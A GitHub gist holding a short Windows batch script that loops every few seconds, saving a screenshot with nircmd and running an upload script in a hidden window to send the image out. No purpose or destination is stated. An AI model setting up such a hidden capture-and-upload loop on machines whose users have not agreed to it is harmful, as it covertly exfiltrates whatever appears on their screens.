Skip to content

Instantly share code, notes, and snippets.

@thykka
Created August 26, 2014 12:08
Show Gist options
  • Save thykka/22c434cb32a968c67f17 to your computer and use it in GitHub Desktop.
Save thykka/22c434cb32a968c67f17 to your computer and use it in GitHub Desktop.
set delay=5000
:loop
:: Get locale-independent date to use as filename
for /f "tokens=2 delims==" %%I in ('wmic os get localdatetime /format:list') do set datetime=%%I
:: Format the date
set datetime=%datetime:~0,8%-%datetime:~8,6%
:: Save a screenshot
nircmd.exe savescreenshot "%datetime%.png"
:: Upload the screenshot
nircmd.exe exec hide upload.bat "%datetime%.png"
:: Wait before looping
ping 1.0.0.0 -n 1 -w %delay% >nul
goto loop
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment